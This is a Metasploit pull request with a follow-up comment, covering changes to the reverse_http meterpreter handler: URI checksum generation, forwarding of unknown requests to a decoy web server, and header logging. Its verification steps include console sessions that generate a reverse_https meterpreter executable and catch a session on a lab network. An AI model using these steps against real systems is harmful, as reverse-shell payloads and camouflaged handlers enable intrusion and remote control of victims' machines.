Enhancements to HTTP handler communication

While using metasploit as part of my job I found some inelegancies and missing features in the HTTP handler code (e.g. for reverse meterpreter connections), which I subsequently fixed in my local version. (Note: I am not a Ruby programmer.) I want to commit my enhancements back into the framework, not the least so that I won't get merge conflicts with future updates. My scenario includes a long-ish running HTTPS meterpreter handler with payloads being sent to different clients.

## Issues/Inelegancies
* The URI length of the initial reverse meterpreter HTTP connection is fixed to 4. The payload allows 5 bytes, and the generating function Msf::Core::Handler::ReverseHttp::UriChecksum::generate_uri_checksum() has no explicit length parameter.
* The randomization algorithm in generate_uri_checksum() is non-deterministic and may sometimes fail. This necessitates a) a retry logic and b) a fallback array of pre-computed values. The length of the pre-computed values is fixed to 5 bytes (while the normal algorithm implicitly returns 4 bytes).

## Missing features
* The URI used for a specific payload is not output by the generating functions, so it's not easy to associate a specific payload with a specific client.
* The Host: header of incoming HTTP requests (f.e. when distinguishing clients by DNS hostnames) is not output. The X-Forwarded-For: header of incoming HTTP requests (f.e. when using the handler behind a reverse proxy) is not output
* It would be nice to be able to use the HTTP handler as a reverse proxy in front of a different HTTP server, e.g. to serve static files.

# Changes
* Msf::Core::Handler::Reverse_Http::Uri_Checksum::generate_uri_checksum() is replaced with a deterministic randomization algorithm that won't fail. The fallback table is removed. A new length parameter allows callers to request a specific length (default is 4, which previously was the implicit length). The rspec tests are updated for this new behaviour.
* The reverse_http* stagers now use the full 5 bytes of uri length for more entropy. The generated uri is output with print_status()
* The reverse_http handler gets two new options HttpUnknownRequestForwardHost and HttpUnknownRequestForwardPort to specify a HTTP server to forward to. If both are set then HttpUnknownRequestResponse is ignored and the request is instead forwarded to the specified server (setting X-Forwarded-For) and the response used as the reverse_http handler response.
* Host: and X-Forwarded-For: headers of incoming requests in the reverse_http handler are output, allowing for better understanding of where a request comes from in a complex environment.
* The dump of the full incoming HTTP request in case of an unrecognized request is now conditional on VERBOSE being set.

# Verification steps
- [ ] Generate a payload/windows/meterpreter/reverse_https payload, it should a) output the uri to be used, which should b) be 5 bytes long
````
msf > use payload/windows/meterpreter/reverse_https
msf payload(reverse_https) > set LHOST 192.168.255.1
LHOST => 192.168.255.1
msf payload(reverse_https) > generate -t exe -f foo

[*] Notice: This payload uses /900Kx as its first stage connection point
[*] Writing 73802 bytes to foo...
````
- [ ] Start a handler for windows/meterpreter/reverse_https using exploit/multi/handler with HttpUnknownRequestForwardHost/HttpUnknownRequestForwardPort set and have 1) a payload, and 2) something else (e.g. a browser) connect back to it. You should see a) the host name that the HTTP client requested, and b) for all non-meterpreter requests get the normal webserver responses
````
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LPORT 4443
LPORT => 4443
msf exploit(handler) > set LHOST 192.168.255.1
LHOST => 192.168.255.1
msf exploit(handler) > set VERBOSE true
VERBOSE => true
msf exploit(handler) > set HttpUnknownRequestForwardHost 127.0.0.1
HttpUnknownRequestForwardHost => 127.0.0.1
msf exploit(handler) > set HttpUnknownRequestForwardPort 80
HttpUnknownRequestForwardPort => 80
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j

[*] Notice: This payload uses /6AHCZ as its first stage connection point
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://0.0.0.0:4443/
[*] Starting the payload handler...
msf exploit(handler) > [*] 192.168.255.159:49429 Request received for /900Kx at 192.168.255.1:4443...
[*] 192.168.255.159:49429 Staging connection for target /900Kx received...
[*] Patched user-agent at offset 663656...
[*] Patched transport at offset 663320...
[*] Patched URL at offset 663384...
[*] Patched Expiration Timeout at offset 664256...
[*] Patched Communication Timeout at offset 664260...
[*] Meterpreter session 1 opened (192.168.255.1:4443 -> 192.168.255.159:49429) at 2014-09-09 17:39:18 +0200
[*] 127.0.0.1:44950 Request received for / at localhost:4443...
[*] 127.0.0.1:44950 Unknown request to / GET / HTTP/1.1
[*] 127.0.0.1:44950 Host: localhost:4443
[*] 127.0.0.1:44950 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:32.0) Gecko/20100101 Firefox/32.0
[*] 127.0.0.1:44950 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
[*] 127.0.0.1:44950 Accept-Language: en-GB,en;q=0.5
[*] 127.0.0.1:44950 Accept-Encoding: gzip, deflate
[*] 127.0.0.1:44950 Connection: keep-alive
[*] 127.0.0.1:44950 Content-Length: 0
[*] 127.0.0.1:44950 
[*] 127.0.0.1:44952 Request received for /favicon.ico at localhost:4443...
[*] 127.0.0.1:44952 Unknown request to /favicon.ico GET /favicon.ico HTTP/1.1
[*] 127.0.0.1:44950 Host: localhost:4443
[*] 127.0.0.1:44950 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:32.0) Gecko/20100101 Firefox/32.0
[*] 127.0.0.1:44950 Accept: image/png,image/*;q=0.8,*/*;q=0.5
[*] 127.0.0.1:44950 Accept-Language: en-GB,en;q=0.5
[*] 127.0.0.1:44950 Accept-Encoding: gzip, deflate
[*] 127.0.0.1:44950 Connection: keep-alive
[*] 127.0.0.1:44950 Content-Length: 0
[*] 127.0.0.1:44950 
[*] 127.0.0.1:44953 Request received for /favicon.ico at localhost:4443...
[*] 127.0.0.1:44953 Unknown request to /favicon.ico GET /favicon.ico HTTP/1.1
[*] 127.0.0.1:44950 Host: localhost:4443
[*] 127.0.0.1:44950 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:32.0) Gecko/20100101 Firefox/32.0
[*] 127.0.0.1:44950 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
[*] 127.0.0.1:44950 Accept-Language: en-GB,en;q=0.5
[*] 127.0.0.1:44950 Accept-Encoding: gzip, deflate
[*] 127.0.0.1:44950 Connection: keep-alive
[*] 127.0.0.1:44950 Content-Length: 0
[*] 127.0.0.1:44950 
````
Ah, you have a point. I had thought about something like it before, but dismissed it. Your comment gave me a new idea, though:
Unfortunately ````256.times do```` is not correct here, since due to the reduced alphabet it is possible that more that 256 iterations are needed. The correct™ loop limiting condition would be to go through the entire word space only once and complain if you encounter the same set of ````indices```` again. I didn't do that because it appeared computationally expensive and unnecessary. But what you can do is ````(chk.length ** indices.length).times do````
I'll add a commit.